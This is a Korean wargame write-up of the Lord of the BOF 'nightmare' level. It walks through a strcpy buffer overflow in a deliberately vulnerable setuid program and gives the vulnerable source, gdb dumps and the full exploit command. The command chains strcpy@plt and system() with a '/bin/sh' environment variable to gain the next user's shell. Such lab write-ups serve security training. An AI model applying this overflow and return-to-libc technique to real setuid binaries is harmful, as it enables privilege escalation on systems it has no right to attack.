LOB succubus => nightmare
문제
[succubus@localhost succubus]$ cat nightmare.c
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
main 함수의 ret는 strcpy 함수여야 하고 RTL을 막기 위해 그 다음 4byte 를 AAAA로 초기화 시키는 소스코드이다.
풀이
main()의 ret로 strcpy()를 호출한다.
strcpy()는 인자로 목적지와, 옮길문자열의 원본 위치를 받는다.
목적지로 RTL에서 사용하는 ret 즉 strcpy()가 호출되고 난 뒤에 ret위치 ( 간단하게 AAAA로 뒤덮이는 위치 )를 주고 원본 위치는 buffer의 시작 부분을 입력하여 buffer시작 부분에 쉘코드 주소를 입력하여 호출할 수 있도록 하게 한다.
왠진 모르겠지만 쓴 사람(본인)은 쉘코드만 환경변수로 줘보기도 하고 nop도 끼워서 줘보기도 했는데 안풀려서 풀이 방법을 바꾸었다.
buffer에 시작 위치에 system()함수를 호출하고 buffer-4부터 "/bin/sh"문자열을 환경변수에 올린 뒤 이 주소값을 주어 쉘을 딸 것이다.
[succubus@localhost tmp]$ /bin/bash2
전에는 안썻는데 그냥 이번 포스팅 때 쓰고 싶어서 ㅎㅎ;; \xff를 인식 못하는 오류가 있으니 /bin/bash2를 켜주자 항상
[succubus@localhost tmp]$ export bin="/bin/sh"
[succubus@localhost tmp]$ ./mightmare
bin address is 0xbffffef2
[succubus@localhost tmp]$
환경변수 올리고 주소를 구해보자.
0x8048722 <main+110>: call 0x8048410 <strcpy>
gdb로 main()을 까보면 strcpy()를 호출하는데 이 주소가 0x08048410인 것을 알 수 있다.
Starting program: /home/succubus/tmp/nightmare `python -c "print 'A'*4 + 'B'*4 + 'C'*4 + 'B'*32 + '\x10\x84\x04\x08' + 'D'*4+ 'E'*4 + 'F'*4"`
AAAABBBBCCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB?DDDDEEEEFFFF
Breakpoint 1, 0x804874e in main ()
(gdb) x/50wx $ebp-44
0xbffffa6c: 0x08048410 0x41414141 0x42424242 0x43434343
0xbffffa7c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffa8c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffa9c: 0x08048410 0x41414141 0x45454545 0x46464646
0xbffffaac: 0x40013800 0x00000002 0x08048420 0x00000000
0xbffffabc: 0x08048441 0x080486b4 0x00000002 0xbffffae4
0xbffffacc: 0x08048350 0x0804877c 0x4000ae60 0xbffffadc
0xbffffadc: 0x40013e90 0x00000002 0xbffffbdd 0xbffffbfa
0xbffffaec: 0x00000000 0xbffffc37 0xbffffc59 0xbffffc63
0xbffffafc: 0xbffffc71 0xbffffc90 0xbffffca1 0xbffffcba
0xbffffb0c: 0xbffffcd8 0xbffffcf7 0xbffffd02 0xbffffd10
0xbffffb1c: 0xbffffd54 0xbffffd68 0xbffffd7d 0xbffffd8d
0xbffffb2c: 0xbffffd9b 0xbffffda7
(gdb)
'A' : system()함수 주소가 올 위치
'B' : 버퍼를 채우기 위한 dummy
'C' : "/bin/sh" 주소 올 위치
0x08048410 : strcpy()@plt 호출
'D' : RTL에 이용할 ret ('AAAA' 로 뒤덮일 곳) ( 실제로 41414141로 뒤덮인 0xbffffaa0 )
'E' : strcpy()의 목적지 인자
'F' : strcpy()의 불러들이는 인자
이제 각 알파벳에 들어갈 주소를 구하도록 하자.
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)
system() 주소 0x40058ae0
아까 구했던 환경변수 주소 0xbffffef2
strcpy()의 목적지 인자 0xbffffaa0
strcpy()의 불러들이는 인자 0xbffffa70
익스코드
위 정보들을 토대로 익스코드를 짜보자.
[succubus@localhost tmp]$ ./nightmare `python -c "print '\xe0\x8a\x05\x40' + 'BBBB' + '\xf2\xfe\xff\xbf' + 'B'*32 + '\x10\x84\x04\x08' + 'D'*4 + '\xa0\xfa\xff\xbf' + '\x70\xfa\xff\xbf'"`
?@BBBB輯풟BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB?DDDD??퓈?
bash$ id
uid=517(succubus) gid=517(succubus) groups=517(succubus)
bash$
오... 혼자 풀때는 코어파일만 몇십번 분석했는데 블로그 쓸 때 한번에 되서 기분이 조아졌다 ^^ 본 파일에서 해보자.
[succubus@localhost succubus]$ ./nightmare `python -c "print '\xe0\x8a\x05\x40' + 'BBBB' + '\xf2\xfe\xff\xbf' + 'B'*32 + '\x10\x84\x04\x08' + 'D'*4 + '\xa0\xfa\xff\xbf' + '\x70\xfa\xff\xbf'"`
?@BBBB輯풟BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB?DDDD??퓈?
Segmentation fault
[succubus@localhost succubus]$
그럼 그렇지 스택 위치가 바뀐것 같다. 다시 복사파일로 이동하여 코어파일을 분석하자.
[succubus@localhost tmp]$ ./nightmare `python -c "print '\xe0\x8a\x05\x40' +'BBBB'+'\xd0\xfe\xff\xbf'+'B'*32+'\x10\x84\x04\x08' + 'DDDD' +'\x90\xfa\xff\xbf' + '\x60\xfa\xff\xbf'"`
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)
우욱... 삽질 진짜...